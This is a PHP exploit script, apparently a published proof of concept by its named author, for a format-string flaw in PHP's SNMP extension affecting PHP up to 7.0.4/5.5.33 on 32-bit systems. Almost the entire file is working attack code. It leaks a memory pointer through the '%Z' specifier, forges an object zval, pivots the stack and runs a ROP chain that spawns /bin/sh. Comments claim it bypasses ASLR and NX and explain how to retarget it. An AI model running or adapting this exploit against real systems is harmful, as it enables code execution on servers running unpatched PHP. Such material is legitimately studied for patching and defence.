<?php
// PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit)
// By Andrew Kramer <andrew at jmpesp dot org>
// Should bypass ASLR/NX just fine
// This exploit utilizes PHP's internal "%Z" (zval)
// format specifier in order to achieve code-execution.
// We fake an object-type zval in memory and then bounce
// through it carefully. First though, we use the same
// bug to leak a pointer to the string itself. We can
// then edit the global variable with correct pointers
// before hitting it a second time to get EIP. This
// makes it super reliable! Like... 100%.
// To my knowledge this hasn't really been done before, but
// credit to Stefan Esser (@i0n1c) for the original idea. It works!
// https://twitter.com/i0n1c/status/664706994478161920
// All the ROP gadgets are from a binary I compiled myself.
// If you want to use this yourself, you'll probably need
// to build a new ROP chain and find new stack pivots for
// whatever binary you're targeting. If you just want to get
// EIP, change $stack_pivot_1 to 0x41414141 below.
// pass-by-reference here so we keep things tidy
function trigger(&$format_string) {
$session = new SNMP(SNMP::VERSION_3, "127.0.0.1", "public");
// you MUST set exceptions_enabled in order to trigger this
$session->exceptions_enabled = SNMP::ERRNO_ANY;
try {
$session->get($format_string);
} catch (SNMPException $e) {
return $e->getMessage();
}
}
// overwrite either $payload_{1,2} with $str at $offset
function overwrite($which, $str, $offset) {
// these need to be global so PHP doesn't just copy them
global $payload_1, $payload_2;
// we MUST copy byte-by-byte so PHP doesn't realloc
for($c=0; $c<strlen($str); $c++) {
switch($which) {
case 1:
$payload_1[$offset + $c] = $str[$c];
break;
case 2:
$payload_2[$offset + $c] = $str[$c];
break;
}
}
}
echo "> Setting up payloads\n";
//$stack_pivot_1 = pack("L", 0x41414141); // Just get EIP, no exploit
$stack_pivot_1 = pack("L", 0x0807c19f); // xchg esp ebx
$stack_pivot_2 = pack("L", 0x0809740e); // add esp, 0x14
// this is used at first to leak the pointer to $payload_1
$leak_str = str_repeat("%d", 13) . $stack_pivot_2 . "Xw00t%lxw00t";
$trampoline_offset = strlen($leak_str);
// used to leak a pointer and also to store ROP chain
$payload_1 =
$leak_str . // leak a pointer
"XXXX" . // will be overwritten later
$stack_pivot_1 . // initial EIP (rop start)
// ROP: execve('/bin/sh',0,0)
pack("L", 0x080f0bb7) . // xor ecx, ecx; mov eax, ecx
pack("L", 0x0814491f) . // xchg edx, eax
pack("L", 0x0806266d) . // pop ebx
pack("L", 0x084891fd) . // pointer to /bin/sh
pack("L", 0x0807114c) . // pop eax
pack("L", 0xfffffff5) . // -11
pack("L", 0x081818de) . // neg eax
pack("L", 0x081b5faa); // int 0x80
// used to trigger the exploit once we've patched everything
$payload_2 =
"XXXX" . // will be overwritten later
"XXXX" . // just padding, whatevs
"\x08X" . // zval type OBJECT
str_repeat("%d", 13) . "%Z"; // trigger the exploit
// leak a pointer
echo "> Attempting to leak a pointer\n";
$data = trigger($payload_1);
$trampoline_ptr = (int)hexdec((explode("w00t", $data)[1])) + $trampoline_offset;
echo "> Leaked pointer: 0x" . dechex($trampoline_ptr) . "\n";
// If there are any null bytes or percent signs in the pointer, it will break
// the -0x10 will be applied later, so do it now too
if(strpos(pack("L", $trampoline_ptr - 0x10), "\x00") !== false
|| strpos(pack("L", $trampoline_ptr - 0x10), "%") !== false) {
echo "> That pointer has a bad character in it\n";
echo "> This won't work. Bailing out... :(\n";
exit(0);
}
echo "> Overwriting payload with calculated offsets\n";
// prepare the trampoline
// code looks kinda like...
// mov eax, [eax+0x10]
// mov eax, [eax+0x54]
// call eax
overwrite(2, pack("L", $trampoline_ptr - 0x10), 0);
overwrite(1, pack("L", $trampoline_ptr - 0x54 + 4), $trampoline_offset);
// exploit
echo "> Attempting to pop a shell\n";
trigger($payload_2);
// if we make it here, something didn't work
echo "> Exploit failed :(\n";
